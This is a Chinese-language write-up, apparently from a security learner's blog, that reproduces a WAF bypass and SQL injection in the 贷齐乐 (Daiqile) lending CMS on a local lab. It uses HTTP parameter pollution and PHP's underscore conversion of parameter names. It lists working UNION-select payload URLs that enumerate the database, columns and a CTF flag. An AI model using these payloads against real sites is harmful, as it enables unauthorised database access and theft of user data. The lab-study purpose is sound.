目录
前言
学SQL注入时学到了一个很经典的案例,贷齐乐系统,安全问题严重。由于连续出了多次安全漏洞,所以贷齐乐系统中添加了严重影响正常使用的变态WAF。
select|insert|update|delete|'|/*|*|../|./|union|into|load_file|outfile
str_replace(array('&', '"', '<', '>','(',')'), array('&', '"', '<', '>','(',')'), $string)
两条过滤,第一条一旦遇到select,包括单引号,包括注释符,就立即exit整个流程;而第二条替换最明显的效果,就是所有的英文括号都变成中文括号,导致user(),database()等无法执行。
初学看到这俩WAF确实眼前一黑,学后发现绕过十分巧妙,故做一下复现,以作记录。
正文
绕过思路
想找到SQL注入漏洞,首先就是要绕过WAF。
而在在贷齐乐源码中,对于输入的处理过程如下:
index.php -> config.inc.php -> sqlin.php -> safe.inc.php
sqlin.php对select、union、’等关键字的拦截。一旦发现存在这些关键字,就exit出整个执行流程。
safe.inc.php替换敏感字符,比如<、>、(、)等。
但在safe.inc.php里有如下一段代码:
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
将$\_SERVER\['REQUEST\_URI'\]用?分开,?后面的内容再用&切割成数组,遍历这个数组。对数组中的每个字符串,再用=分成0和1,最后填入到$\_REQUEST数组中:$\_REQUEST\[$\_value\[0\]\] = dhtmlspecialchars\(addslashes\($\_value\[1\]\)\);
这个过程等于手工处理了一遍REQUEST\_URI,将REQUEST\_URI中的字符串分割成数组覆盖到REQUEST里。
这个过程是在第一道WAF之后进行的,如果能有一个方法绕过第一道WAF认为请求中没有恶意字符,再通过此处的覆盖,将恶意字符引入$_REQUEST中,就可以完成WAF的绕过了。
此处引入两个PHP特性
PHP特性
一是当输入两个同名参数时,php取后一个参数
二是在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线。
绕过
想要以此注入需满足:注入点可控变量需要获取自$_REQUEST,变量的名字必须包含下划线。
在user.class.php 394行即有一个满足条件的函数user_id
继续下去就比较简单了,空格使用“/**/”来代替,“=”使用“like”代替,单双引号的过滤,最后将内容进行16进制转换,挨个查询即可,能够查询出库名、表名和列名,基本上就完成了查询。
查询
这里使用如下参数对数据库名称进行查询
http://127.0.0.1/daiqile/index.php?submit=aaaaaaa&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=1
结果如下
使用limit 进行查询
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,1&i.d=1&submit=1
返回id
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/1,1&i.d=1&submit=1
返回name
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/2,1&i.d=1&submit=1
返回pass
http://127.0.0.1/daiqile/index.php/?&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/3,1&i.d=1&submit=1
返回flag
http://127.0.0.1/daiqile/index.php/?i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=1&submit=1
总结
漏洞的挖掘、利用十分巧妙,利用了hpp+php特性,最终绕过了CMS应用中变态的WAF。但造成漏洞的根本原因既不在于hpp,也不在于php特性,根本原因是贷齐乐内部存在过多SQL注入漏洞。
WAF终究是补救的手段,防范各类漏洞、注入最好还是能够从源码编写下手,在一开始就无需补救。